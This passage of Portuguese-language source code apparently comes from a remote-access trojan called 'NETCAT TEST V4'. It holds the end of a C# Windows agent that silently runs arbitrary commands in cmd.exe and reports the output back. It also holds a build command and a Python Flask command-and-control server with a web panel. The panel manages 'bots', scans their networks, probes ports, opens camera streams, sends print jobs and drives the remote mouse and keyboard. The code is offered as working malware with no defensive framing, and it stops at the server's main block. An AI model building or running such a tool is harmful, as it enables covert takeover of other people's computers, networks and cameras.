        sb.AppendLine("netcattest -h                                     -> Mostra este menu de ajuda.");
        sb.AppendLine("netcattestnav:<URL>                               -> Inicia navegação remota para a URL.");
        sb.AppendLine("netcattestscan                                    -> Escaneia a rede local em busca de dispositivos.");
        sb.AppendLine("netcattestportas:<IP>:<PORTA>                     -> Verifica se uma porta específica está aberta.");
        sb.AppendLine("netcattestcamera:<USU>:<SEN>:<IP>[:/PTH]          -> Conecta a um stream de câmera.");
        sb.AppendLine("netcattestimpressoras                             -> Lista as impressoras instaladas no alvo.");
        sb.AppendLine("netcattestimprimir:<METODO>:<NOME>:<JOB>:<B64>    -> Imprime um arquivo (metodos: acrobat, raw).");
        sb.AppendLine("fecharpagina                                      -> Encerra a sessão de navegação ou câmera.");
        sb.AppendLine("Qualquer outro comando                            -> Executa diretamente no shell (cmd.exe).");
        sb.AppendLine("---------------------");
        await EnviarMensagem(stream, 0x01, sb.ToString());
    }

    private string ExecutarComandoLocal(string nomeArquivo, string argumentos)
    {
        try
        {
            var infoProcesso = new ProcessStartInfo(nomeArquivo, argumentos)
            {
                RedirectStandardOutput = true, 
                RedirectStandardError = true, 
                UseShellExecute = false, 
                CreateNoWindow = true, 
                StandardOutputEncoding = Encoding.GetEncoding(850),
                StandardErrorEncoding = Encoding.GetEncoding(850)
            };
            using (var processo = Process.Start(infoProcesso))
            {
                string saida = processo.StandardOutput.ReadToEnd();
                string erro = processo.StandardError.ReadToEnd();
                processo.WaitForExit(10000);
                return saida + erro;
            }
        }
        catch (Exception) 
        {
            try
            {
                 var infoProcesso = new ProcessStartInfo(nomeArquivo, argumentos)
                {
                    RedirectStandardOutput = true, 
                    RedirectStandardError = true, 
                    UseShellExecute = false, 
                    CreateNoWindow = true
                };
                using (var processo = Process.Start(infoProcesso))
                {
                    string saida = processo.StandardOutput.ReadToEnd();
                    string erro = processo.StandardError.ReadToEnd();
                    processo.WaitForExit(10000);
                    return saida + erro;
                }
            }
            catch (Exception ex)
            {
                return $"Falha ao executar comando local: {ex.Message}";
            }
        }
    }

    private void ExecutarComandoShell(string comando, NetworkStream stream)
    {
        string saidaComando = ExecutarComandoLocal("cmd.exe", "/c " + comando);
        if (string.IsNullOrWhiteSpace(saidaComando))
        {
            saidaComando = "Comando executado sem saída ou com erro.";
        }
        EnviarMensagem(stream, 0x01, saidaComando.Trim()).Wait();
    }
    
    public static void Main(string[] args)
    {
        Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);
        new Agente().ExecutarCiclo();
    }
}

public class RawPrinterHelper
{
    [DllImport("winspool.Drv", EntryPoint = "OpenPrinterA", SetLastError = true, CharSet = CharSet.Ansi, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool OpenPrinter([MarshalAs(UnmanagedType.LPStr)] string szPrinter, out IntPtr hPrinter, IntPtr pd);

    [DllImport("winspool.Drv", EntryPoint = "ClosePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool ClosePrinter(IntPtr hPrinter);

    [DllImport("winspool.Drv", EntryPoint = "StartDocPrinterA", SetLastError = true, CharSet = CharSet.Ansi, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool StartDocPrinter(IntPtr hPrinter, int level, [In, MarshalAs(UnmanagedType.LPStruct)] DOCINFOA di);

    [DllImport("winspool.Drv", EntryPoint = "EndDocPrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool EndDocPrinter(IntPtr hPrinter);

    [DllImport("winspool.Drv", EntryPoint = "StartPagePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool StartPagePrinter(IntPtr hPrinter);

    [DllImport("winspool.Drv", EntryPoint = "EndPagePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool EndPagePrinter(IntPtr hPrinter);

    [DllImport("winspool.Drv", EntryPoint = "WritePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool WritePrinter(IntPtr hPrinter, IntPtr pBytes, int dwCount, out int dwWritten);

    public static bool SendBytesToPrinter(string szPrinterName, byte[] pBytes, string szDocName)
    {
        IntPtr hPrinter = IntPtr.Zero;
        bool success = false;
        if (pBytes == null || pBytes.Length == 0) return true;

        var di = new DOCINFOA
        {
            pDocName = szDocName,
            pDataType = "RAW"
        };

        IntPtr pUnmanagedBytes = Marshal.AllocHGlobal(pBytes.Length);
        try
        {
            Marshal.Copy(pBytes, 0, pUnmanagedBytes, pBytes.Length);

            if (OpenPrinter(szPrinterName.Normalize(), out hPrinter, IntPtr.Zero))
            {
                if (StartDocPrinter(hPrinter, 1, di))
                {
                    if (StartPagePrinter(hPrinter))
                    {
                        success = WritePrinter(hPrinter, pUnmanagedBytes, pBytes.Length, out int dwWritten);
                        EndPagePrinter(hPrinter);
                    }
                    EndDocPrinter(hPrinter);
                }
            }
        }
        catch
        {
            success = false;
        }
        finally
        {
            Marshal.FreeHGlobal(pUnmanagedBytes);
            if (hPrinter != IntPtr.Zero)
            {
                ClosePrinter(hPrinter);
            }
        }
        
        if (!success)
        {
            Marshal.GetLastWin32Error();
        }
        return success;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
    private class DOCINFOA
    {
        [MarshalAs(UnmanagedType.LPStr)] public string pDocName;
        [MarshalAs(UnmanagedType.LPStr)] public string pOutputFile;
        [MarshalAs(UnmanagedType.LPStr)] public string pDataType;
    }
}

Código Build:

dotnet publish -c Release -r win-x64 --self-contained true -p:PublishSingleFile=true

C2 Python

import socket
import threading
import time
import os
import sys
import signal
import base64
import logging
import struct
import json
from flask import Flask, render_template_string
from flask_socketio import SocketIO

PORTA_C2 = 4444
PORTA_WEB = 5001
bots_conectados = []
lock = threading.Lock()
executando = True

app = Flask(__name__)
app.config['SECRET_KEY'] = 'segredo!'
socketio = SocketIO(app, async_mode='threading')

log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

TEMPLATE_HTML = """
<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <title>NETCAT TEST V4 - Painel de Controle Multitarefa</title>
    <style>
        :root {
            --cor-fundo: #121212; --cor-painel: #1e1e1e; --cor-borda: #333;
            --cor-texto: #e0e0e0; --cor-texto-secundario: #aaa;
            --cor-primaria: #ff4500; --cor-sucesso: #28a745; --cor-info: #17a2b8;
            --cor-destaque: #6f42c1; --cor-aviso: #f0ad4e; --cor-perigo: #dc3545;
        }
        body, html { font-family: 'Segoe UI', 'Roboto', sans-serif; margin: 0; padding: 0; height: 100%; background-color: var(--cor-fundo); color: var(--cor-texto); display: flex; flex-direction: column; font-size: 14px; }
        .navbar { background-color: #0d0d0d; padding: 0 20px; border-bottom: 2px solid var(--cor-primaria); display: flex; justify-content: space-between; align-items: center; height: 50px; flex-shrink: 0; }
        .navbar h1 { margin: 0; font-size: 1.5em; letter-spacing: 2px; }
        .master-container { display: flex; flex: 1; overflow: hidden; }
        .actions-panel { width: 80px; background-color: var(--cor-painel); padding: 15px 0; border-right: 1px solid var(--cor-borda); display: flex; flex-direction: column; align-items: center; flex-shrink: 0; gap: 20px; }
        .action-icon { display: flex; flex-direction: column; align-items: center; justify-content: center; width: 60px; height: 60px; background-color: #2c2c2c; border-radius: 8px; cursor: pointer; transition: all 0.2s ease-in-out; position: relative; }
        .action-icon:hover { background-color: var(--cor-primaria); transform: translateY(-3px); }
        .action-icon svg { width: 32px; height: 32px; fill: var(--cor-texto); }
        .action-icon .tooltip { visibility: hidden; width: 140px; background-color: #0d0d0d; color: #fff; text-align: center; border-radius: 6px; padding: 5px 0; position: absolute; z-index: 1; left: 110%; top: 50%; margin-top: -15px; opacity: 0; transition: opacity 0.3s; }
        .action-icon:hover .tooltip { visibility: visible; opacity: 1; }
        .main-content { flex: 1; display: grid; grid-template-columns: 2fr 1fr; grid-template-rows: 2fr 1fr; gap: 15px; padding: 15px; }
        .grid-item { background-color: #0d0d0d; border: 1px solid var(--cor-borda); border-radius: 5px; display: flex; flex-direction: column; overflow: hidden; }
        .stream-container { grid-column: 1 / 2; grid-row: 1 / 2; background-color: #000; position: relative; }
        #stream { width: 100%; height: 100%; object-fit: contain; background-color: #000; }
        .click-effect { position: absolute; border: 2px solid rgba(255, 69, 0, 0.9); border-radius: 50%; transform: translate(-50%, -50%); animation: ripple 0.5s linear; pointer-events: none; box-shadow: 0 0 15px rgba(255, 69, 0, 0.5); }
        @keyframes ripple { to { width: 100px; height: 100px; opacity: 0; } }
        .terminal-container { /* Applied to all terminals */ }
        .terminal-header { background-color: #252525; padding: 8px 12px; font-weight: bold; border-bottom: 1px solid var(--cor-borda); }
        .terminal-output { flex: 1; padding: 10px; overflow-y: auto; white-space: pre-wrap; font-family: 'Courier New', Courier, monospace; font-size: 0.95em; }
        .terminal-input { display: flex; border-top: 1px solid var(--cor-borda); }
        .terminal-input span { padding: 10px; background-color: var(--cor-painel); font-weight: bold; }
        .terminal-input input { flex: 1; background-color: var(--cor-fundo); border: none; color: var(--cor-texto); padding: 10px; font-family: inherit; }
        .terminal-input input:focus { outline: none; }
        .modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0,0,0,0.6); }
        .modal-content { background-color: var(--cor-painel); margin: 10% auto; padding: 20px; border: 1px solid var(--cor-borda); width: 80%; max-width: 600px; border-radius: 8px; box-shadow: 0 5px 15px rgba(0,0,0,0.5); }
        .modal-header { display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid var(--cor-borda); padding-bottom: 10px; margin-bottom: 15px; }
        .modal-header h4 { margin: 0; font-size: 1.2em; color: var(--cor-primaria); }
        .close-btn { color: var(--cor-texto-secundario); font-size: 28px; font-weight: bold; cursor: pointer; }
        .action-input { width: calc(100% - 22px); background-color: var(--cor-fundo); border: 1px solid var(--cor-borda); color: var(--cor-texto); padding: 10px; margin-bottom: 10px; border-radius: 4px; }
        .action-btn { width: 100%; padding: 10px; margin-top: 5px; border: none; color: #fff; cursor: pointer; font-weight: bold; border-radius: 4px; transition: all 0.2s ease-in-out; display: flex; align-items: center; justify-content: center; gap: 8px; }
        .btn-scan { background-color: var(--cor-info); } .btn-scan:hover { background-color: #19b9d1; }
        .btn-print { background-color: var(--cor-destaque); } .btn-print:hover { background-color: #8352d8; }
        .btn-cam { background-color: var(--cor-perigo); } .btn-cam:hover { background-color: #e84a59; }
        .btn-nav { background-color: var(--cor-sucesso); } .btn-nav:hover { background-color: #32c450; }
        .btn-portscan { background-color: var(--cor-aviso); } .btn-portscan:hover { background-color: #f5b95f; }
        .bot-item { padding: 10px; margin-bottom: 8px; background-color: #2c2c2c; border-radius: 5px; cursor: pointer; border-left: 4px solid #555; display: flex; justify-content: space-between; align-items: center; transition: all 0.2s ease-in-out; }
        .bot-item:hover { background-color: #383838; }
        .bot-item.active { border-left-color: var(--cor-primaria); background-color: #404040; }
    </style>
</head>
<body>
    <nav class="navbar"><h1>NETCAT TEST V4</h1><span id="current-time"></span></nav>
    <div class="master-container">
        <div class="actions-panel">
            <div class="action-icon" id="bots-icon"><svg viewBox="0 0 24 24"><path d="M16.5 12c1.38 0 2.5-1.12 2.5-2.5S17.88 7 16.5 7C15.12 7 14 8.12 14 9.5s1.12 2.5 2.5 2.5zM9 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3zm7.5 3c-1.83 0-5.5.92-5.5 2.75V19h11v-2.25c0-1.83-3.67-2.75-5.5-2.75zM9 13c-2.33 0-7 1.17-7 3.5V19h7v-2.25c0-.85.33-2.34 2.37-3.47C10.5 13.1 9.66 13 9 13z"/></svg><span class="tooltip">Bots Conectados</span></div>
            <div class="action-icon" id="scan-icon"><svg viewBox="0 0 24 24"><path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"/></svg><span class="tooltip">Análise de Rede</span></div>
            <div class="action-icon" id="nav-icon"><svg viewBox="0 0 24 24"><path d="M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 14H4V8h16v10zm-12-9h10v2H8v-2z"/></svg><span class="tooltip">Navegação</span></div>
            <div class="action-icon" id="cam-icon"><svg viewBox="0 0 24 24"><path d="M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2zm6-1.8C18 8.01 15.31 6 12 6s-6 2.01-6 4.2V12c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-1.8zM12 4c-4.42 0-8 1.79-8 4v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-2.21-3.58-4-8-4z"/></svg><span class="tooltip">Câmera</span></div>
            <div class="action-icon" id="print-icon"><svg viewBox="0 0 24 24"><path d="M19 8H5c-1.66 0-3 1.34-3 3v6h4v4h12v-4h4v-6c0-1.66-1.34-3-3-3zm-3 11H8v-5h8v5zm3-7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm-1-9H6v4h12V3z"/></svg><span class="tooltip">Impressão</span></div>
            <div class="action-icon" id="portscan-icon"><svg viewBox="0 0 24 24"><path d="M9 4v2h2V4H9zm4 0v2h2V4h-2zm4 0v2h2V4h-2zM4 9v2h2V9H4zm14 0v2h2V9h-2zM4 14v2h2v-2H4zm14 0v2h2v-2h-2zM9 19v2h2v-2H9zm4 0v2h2v-2h-2zM4 4v2h2V4H4zm0 15v2h2v-2H4zm14 5v2h2v-2h-2zM9 9v6h6V9H9z"/></svg><span class="tooltip">Verificar Porta</span></div>
        </div>
        <div class="main-content">
            <div class="grid-item stream-container" id="stream-parent-div"><img id="stream" src="" alt="Stream da navegação ou câmera aparecerá aqui."/></div>
            <div class="grid-item terminal-container"><div class="terminal-header">Sessão Principal</div><div id="session-terminal-1-output" class="terminal-output"></div></div>
            <div class="grid-item terminal-container"><div class="terminal-header">Sessões Rápidas</div><div id="session-terminal-2-output" class="terminal-output"></div></div>
            <div class="grid-item terminal-container">
                <div class="terminal-header">Terminal de Comando</div>
                <div id="cmd-terminal-output" class="terminal-output"></div>
                <div class="terminal-input">
                    <span id="prompt">$</span>
                    <input type="text" id="command-input" placeholder="Digite um comando ou 'netcattest -h'...">
                </div>
            </div>
        </div>
    </div>

    <div id="bots-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Bots Conectados</h4><span class="close-btn">&times;</span></div><div id="bot-list-modal"></div></div></div>
    <div id="scan-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Análise de Rede</h4><span class="close-btn">&times;</span></div><button id="scan-network-btn" class="action-btn btn-scan">Escanear Rede</button><div id="devices-list"></div></div></div>
    <div id="nav-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Navegação Remota</h4><span class="close-btn">&times;</span></div><input type="text" id="nav-url-input" class="action-input" placeholder="https://exemplo.com"><button id="start-nav-btn" class="action-btn btn-nav">Iniciar Navegação</button></div></div>
    <div id="cam-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Acesso à Câmera</h4><span class="close-btn">&times;</span></div><input type="text" id="cam-ip-input" class="action-input" placeholder="IP da Câmera"><input type="text" id="cam-user-input" class="action-input" placeholder="Usuário"><input type="text" id="cam-pass-input" class="action-input" placeholder="Senha"><input type="text" id="cam-path-input" class="action-input" placeholder="Caminho (ex: /mjpg/video.mjpg)"><button id="cam-connect-btn" class="action-btn btn-cam">Conectar</button></div></div>
    <div id="print-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Módulo de Impressão</h4><span class="close-btn">&times;</span></div><button id="fetch-printers-btn" class="action-btn btn-scan">Listar Impressoras</button><select id="printer-select" class="action-input"></select><input type="text" id="job-name-input" class="action-input" placeholder="Nome do Trabalho"><select id="print-method-select" class="action-input"><option value="acrobat">Acrobat (Requer Instalação)</option><option value="raw">RAW (PCL, PRN, etc)</option></select><input type="file" id="pdf-file-input" class="action-input" accept=".pdf,.pcl,.prn"><button id="print-btn" class="action-btn btn-print">Imprimir Arquivo</button></div></div>
    <div id="portscan-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Verificar Porta</h4><span class="close-btn">&times;</span></div><input type="text" id="portscan-ip-input" class="action-input" placeholder="IP do Alvo"><input type="text" id="portscan-port-input" class="action-input" placeholder="Porta"><button id="portscan-btn" class="action-btn btn-portscan">Verificar</button></div></div>

    <script src="https://cdn.socket.io/4.7.5/socket.io.min.js"></script>
    <script>
        const socket = io();
        let activeBotId = null;

        const streamImg = document.getElementById('stream');
        const streamParentDiv = document.getElementById('stream-parent-div');
        const session1Output = document.getElementById('session-terminal-1-output');
        const session2Output = document.getElementById('session-terminal-2-output');
        const cmdOutput = document.getElementById('cmd-terminal-output');
        
        const session1Commands = ['netcattestnav:', 'netcattestcamera:', 'fecharpagina'];
        const session2Commands = ['netcattestscan', 'netcattestimpressoras', 'netcattestportas:', 'netcattestimprimir:'];
        const helpCommand = 'netcattest -h';

        function sendCommand(command, target) {
            if (activeBotId === null) { logToTerminal('Nenhum bot selecionado.', 'error', 'session2'); return; }
            
            if (command.startsWith('netcattestimprimir:')) {
                logToTerminal('> ' + command.substring(0, command.lastIndexOf(':')) + ':...[DADOS_DO_ARQUIVO]', 'cmd', target);
            } else {
                logToTerminal(`> ${command}`, 'cmd', target);
            }
            socket.emit('send_command', { bot_id: activeBotId, command: command, target: target });
        }

        function logToTerminal(message, type = 'info', target = 'session2') {
            let out;
            switch(target) {
                case 'session1': out = session1Output; break;
                case 'session2': out = session2Output; break;
                case 'cmd': out = cmdOutput; break;
                default: out = cmdOutput;
            }
            
            const line = document.createElement('div');
            line.textContent = message;
            if (type === 'cmd') line.style.color = 'var(--cor-primaria)';
            else if (type === 'response') line.style.color = 'var(--cor-sucesso)';
            else if (type === 'error') line.style.color = 'var(--cor-perigo)';
            else line.style.color = 'var(--cor-info)';
            
            out.appendChild(line);
            out.scrollTop = out.scrollHeight;
        }

        function selectBot(botId) {
            activeBotId = botId;
            document.getElementById('prompt').textContent = `Bot[${botId}]$`;
            logToTerminal(`Sessão com bot ${botId} iniciada.`, 'info', 'cmd');
            socket.emit('request_bot_list');
            
            [cmdOutput, session1Output, session2Output].forEach(o => o.innerHTML = '');
            streamImg.src = '';

            const botsModal = document.getElementById('bots-modal');
            botsModal.style.display = 'none';
        }

        function renderBotList(bots) {
            const botListEl = document.getElementById('bot-list-modal');
            botListEl.innerHTML = '';
            bots.forEach(bot => {
                const botEl = document.createElement('div');
                botEl.className = 'bot-item';
                if (bot.id === activeBotId) botEl.classList.add('active');
                const statusText = bot.ativo ? `Online: ${bot.uptime}` : `Offline: ${bot.uptime}`;
                botEl.innerHTML = `<div><span>${bot.id}: ${bot.nome}</span><br><small>${statusText}</small></div><span>${bot.ativo ? '🟢' : '🔴'}</span>`;
                botEl.onclick = () => selectBot(bot.id);
                botListEl.appendChild(botEl);
            });
        }

        function renderNetworkDevices(devices) {
            const devicesListEl = document.getElementById('devices-list');
            devicesListEl.innerHTML = '';
            if (devices.length === 0) {
                devicesListEl.innerHTML = '<p>Nenhum dispositivo encontrado.</p>';
                return;
            }
            devices.forEach(device => {
                const deviceEl = document.createElement('div');
                deviceEl.className = 'bot-item';
                let typeIcon = '💻';
                if (device.Type.toLowerCase().includes('impressora')) typeIcon = '🖨';
                else if (device.Type.toLowerCase().includes('câmera')) typeIcon = '📷';
                else if (device.Type.toLowerCase().includes('roteador')) typeIcon = '🌐';
                
                deviceEl.innerHTML = `<span>${device.IP} [${device.MAC}]</span><span>${device.Manufacturer} (${typeIcon} ${device.Type})</span>`;
                deviceEl.onclick = () => {
                    if (device.Type.toLowerCase().includes('câmera')) {
                        document.getElementById('cam-ip-input').value = device.IP;
                    }
                };
                devicesListEl.appendChild(deviceEl);
            });
        }
        
        function renderPrinterList(printers) {
            const printerSelectEl = document.getElementById('printer-select');
            printerSelectEl.innerHTML = '';
            if (printers.length === 0) {
                logToTerminal('Nenhuma impressora encontrada.', 'info', 'session2');
                return;
            }
            printers.forEach(name => {
                const option = document.createElement('option');
                option.value = name;
                option.textContent = name;
                printerSelectEl.appendChild(option);
            });
        }

        socket.on('connect', () => { logToTerminal('Painel de controle conectado.', 'info', 'cmd'); socket.emit('request_bot_list'); });
        socket.on('time_update', (data) => { document.getElementById('current-time').textContent = data.time; });
        socket.on('bot_list_update', (bots) => renderBotList(bots));
        
        socket.on('bot_response', (data) => {
            if (data.bot_id !== activeBotId) return;
            try {
                const response = JSON.parse(data.response);
                if (response.type === 'network_scan') {
                    renderNetworkDevices(response.devices);
                    logToTerminal('Scan de rede concluído. Resultados no modal.', 'info', 'session2');
                } else if (response.type === 'printer_list') {
                    renderPrinterList(response.printers);
                    logToTerminal('Lista de impressoras recebida. Verifique o modal.', 'info', 'session2');
                }
            } catch (e) {
                logToTerminal(data.response, 'response', data.target);
            }
        });

        socket.on('frame_imagem', (data) => { if (data.bot_id === activeBotId) streamImg.src = 'data:image/jpeg;base64,' + data.imagem; });
        
        document.getElementById('command-input').addEventListener('keydown', (e) => {
            if (e.key === 'Enter' && e.target.value.trim() !== '') {
                const command = e.target.value.trim();
                let target = 'cmd';
                if (session1Commands.some(c => command.startsWith(c))) target = 'session1';
                else if (session2Commands.some(c => command.startsWith(c)) || command === helpCommand) target = 'session2';
                
                sendCommand(command, target);
                e.target.value = '';
            }
        });

        const modals = {
            'bots-icon': 'bots-modal', 'scan-icon': 'scan-modal', 'nav-icon': 'nav-modal', 
            'cam-icon': 'cam-modal', 'print-icon': 'print-modal', 'portscan-icon': 'portscan-modal'
        };
        Object.keys(modals).forEach(iconId => {
            document.getElementById(iconId).onclick = () => { document.getElementById(modals[iconId]).style.display = 'block'; };
        });
        document.querySelectorAll('.modal').forEach(modal => {
            modal.querySelector('.close-btn').onclick = () => { modal.style.display = 'none'; };
        });
        window.onclick = (event) => {
            if (event.target.classList.contains('modal')) event.target.style.display = "none";
        };

        document.getElementById('scan-network-btn').onclick = () => sendCommand('netcattestscan', 'session2');
        document.getElementById('start-nav-btn').onclick = () => sendCommand(`netcattestnav:${document.getElementById('nav-url-input').value}`, 'session1');
        document.getElementById('cam-connect-btn').onclick = () => {
            const ip = document.getElementById('cam-ip-input').value;
            const user = document.getElementById('cam-user-input').value;
            const pass = document.getElementById('cam-pass-input').value;
            const path = document.getElementById('cam-path-input').value;
            if(ip && user && pass) sendCommand(`netcattestcamera:${user}:${pass}:${ip}:${path}`, 'session1');
        };
        document.getElementById('fetch-printers-btn').onclick = () => sendCommand('netcattestimpressoras', 'session2');
        document.getElementById('print-btn').onclick = () => {
            const fileInput = document.getElementById('pdf-file-input');
            const printerName = document.getElementById('printer-select').value;
            const jobName = document.getElementById('job-name-input').value || 'Trabalho Remoto';
            const printMethod = document.getElementById('print-method-select').value;
            if (fileInput.files.length === 0) { logToTerminal('Selecione um arquivo.', 'error', 'session2'); return; }
            if (!printerName) { logToTerminal('Nenhuma impressora selecionada.', 'error', 'session2'); return; }
            
            const reader = new FileReader();
            reader.onload = (e) => {
                const b64data = e.target.result.split(',')[1];
                sendCommand(`netcattestimprimir:${printMethod}:${printerName}:${jobName}:${b64data}`, 'session2');
            };
            reader.readAsDataURL(fileInput.files[0]);
        };
        document.getElementById('portscan-btn').onclick = () => sendCommand(`netcattestportas:${document.getElementById('portscan-ip-input').value}:${document.getElementById('portscan-port-input').value}`, 'session2');

        function showClickEffect(x, y) {
            const effect = document.createElement('div');
            effect.className = 'click-effect';
            effect.style.left = `${x}px`;
            effect.style.top = `${y}px`;
            streamParentDiv.appendChild(effect);
            setTimeout(() => effect.remove(), 500);
        }

        streamImg.addEventListener('click', (e) => {
            if (activeBotId === null) return;
            const rect = e.target.getBoundingClientRect();
            showClickEffect(e.clientX - rect.left, e.clientY - rect.top);
            const scaleX = e.target.naturalWidth / rect.width;
            const scaleY = e.target.naturalHeight / rect.height;
            const x = Math.round((e.clientX - rect.left) * scaleX);
            const y = Math.round((e.clientY - rect.top) * scaleY);
            socket.emit('interaction', { bot_id: activeBotId, type: 'CLICK', x: x, y: y });
        });
        window.addEventListener('wheel', (e) => {
            if (activeBotId === null || !streamImg.contains(e.target)) return;
            e.preventDefault();
            socket.emit('interaction', { bot_id: activeBotId, type: 'SCROLL', delta: Math.round(e.deltaY) });
        }, { passive: false });
        
        window.addEventListener('keydown', (e) => {
            if (activeBotId === null || document.activeElement.tagName === 'INPUT') return;
            const teclasEspeciais = new Set(['Enter','Backspace','Tab','Escape','Delete','ArrowUp','ArrowDown','ArrowLeft','ArrowRight','Home','End','PageUp','PageDown']);
            if (teclasEspeciais.has(e.key) || e.key.length === 1) {
                e.preventDefault();
                const type = teclasEspeciais.has(e.key) ? 'KEY_PRESS' : 'TYPE';
                socket.emit('interaction', { bot_id: activeBotId, type: type, key: e.key });
            }
        });
    </script>
</body>
</html>
"""

def enviar_comando_para_bot(bot_socket, tipo, dados_str):
    dados_bytes = dados_str.encode('utf-8')
    tamanho = len(dados_bytes)
    cabecalho = struct.pack('<BI', tipo, tamanho)
    try:
        bot_socket.sendall(cabecalho + dados_bytes)
    except Exception as e:
        print(f"[!] Erro ao enviar comando para o bot: {e}")

def ler_bytes_exatos(sock, num_bytes):
    dados = b''
    while len(dados) < num_bytes:
        pacote = sock.recv(num_bytes - len(dados))
        if not pacote: return None
        dados += pacote
    return dados

def notificar_clientes_web():
    with lock:
        lista_bots_serializavel = []
        for bot in bots_conectados:
            if bot["ativo"]:
                tempo_decorrido = int(time.time() - bot["inicio_conexao"])
            else:
                tempo_decorrido = int(time.time() - bot.get("tempo_offline", bot["inicio_conexao"]))
            
            minutos, seg = divmod(tempo_decorrido, 60)
            horas, minutos = divmod(minutos, 60)
            uptime_str = f"{horas:02d}h{minutos:02d}m{seg:02d}s"
            
            lista_bots_serializavel.append({
                "id": bot["id"], "nome": bot["nome"], "ativo": bot["ativo"], "uptime": uptime_str
            })
    socketio.emit('bot_list_update', lista_bots_serializavel)

def background_updater():
    while executando:
        socketio.sleep(1)
        notificar_clientes_web()
        socketio.emit('time_update', {'time': time.strftime("%H:%M:%S")})

def tratar_bot(bot_socket, endereco, bot_id):
    info_bot = bots_conectados[bot_id]
    nome_bot = info_bot["nome"]
    print(f"\n[+] Conexão recebida de {nome_bot}")
    notificar_clientes_web()
    
    try:
        while executando and info_bot["ativo"]:
            cabecalho = ler_bytes_exatos(bot_socket, 5)
            if not cabecalho: break
            
            tipo, tamanho = struct.unpack('<BI', cabecalho)
            dados = ler_bytes_exatos(bot_socket, tamanho)
            if not dados: break

            if tipo == 0x01:
                response_str = dados.decode('utf-8', errors='ignore')
                target = info_bot.get('last_cmd_target', 'cmd')
                socketio.emit('bot_response', {'bot_id': bot_id, 'response': response_str, 'target': target})
            elif tipo == 0x02:
                imagem_base64 = base64.b64encode(dados).decode('utf-8')
                socketio.emit('frame_imagem', {'bot_id': bot_id, 'imagem': imagem_base64})
    finally:
        with lock:
            info_bot["ativo"] = False
            info_bot["tempo_offline"] = time.time()
        print(f"\n[-] Bot desconectado: {nome_bot}")
        notificar_clientes_web()

def iniciar_servidor_c2():
    servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servidor.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    servidor.bind(("0.0.0.0", PORTA_C2))
    servidor.listen(100)
    print(f"[*] Servidor C2 escutando na porta {PORTA_C2}")
    while executando:
        try:
            bot_socket, endereco = servidor.accept()
            with lock:
                bot_id = len(bots_conectados)
                info_bot = {"id": bot_id, "nome": f"Bot_{endereco[0]}:{endereco[1]}", "socket": bot_socket, "endereco": endereco, "ativo": True, "inicio_conexao": time.time(), "last_cmd_target": "cmd"}
                bots_conectados.append(info_bot)
            threading.Thread(target=tratar_bot, args=(bot_socket, endereco, bot_id), daemon=True).start()
        except OSError: break
        except Exception as e:
            if executando: print(f"[!] Erro ao aceitar conexão: {e}")
    servidor.close()

@app.route('/')
def index():
    return render_template_string(TEMPLATE_HTML)

@socketio.on('request_bot_list')
def handle_request_bot_list():
    notificar_clientes_web()

@socketio.on('send_command')
def handle_send_command(data):
    bot_id = int(data['bot_id'])
    command = data['command']
    target = data.get('target', 'cmd')
    info_bot = None
    with lock:
        if 0 <= bot_id < len(bots_conectados):
            info_bot = bots_conectados[bot_id]
            info_bot['last_cmd_target'] = target
    
    if info_bot and info_bot["ativo"]:
        enviar_comando_para_bot(info_bot["socket"], 0x01, command)

@socketio.on('interaction')
def tratar_interacao(dados):
    bot_id = int(dados['bot_id'])
    info_bot = None
    with lock:
        if 0 <= bot_id < len(bots_conectados): info_bot = bots_conectados[bot_id]

    if info_bot and info_bot["ativo"]:
        tipo_interacao = dados['type']
        cmd_str = ""
        if tipo_interacao == 'CLICK': cmd_str = f"CLICK:{dados['x']},{dados['y']}"
        elif tipo_interacao == 'SCROLL': cmd_str = f"SCROLL:{dados['delta']}"
        elif tipo_interacao == 'TYPE': cmd_str = f"TYPE:{dados['key']}"
        elif tipo_interacao == 'KEY_PRESS': cmd_str = f"KEY_PRESS:{dados['key']}"
        
        if cmd_str:
            enviar_comando_para_bot(info_bot["socket"], 0x01, cmd_str)

def sair_graciosamente(sig, frame):
    global executando
    print("\n[!] Finalizando...")
    executando = False
    os._exit(0)

if __name__ == "__main__":
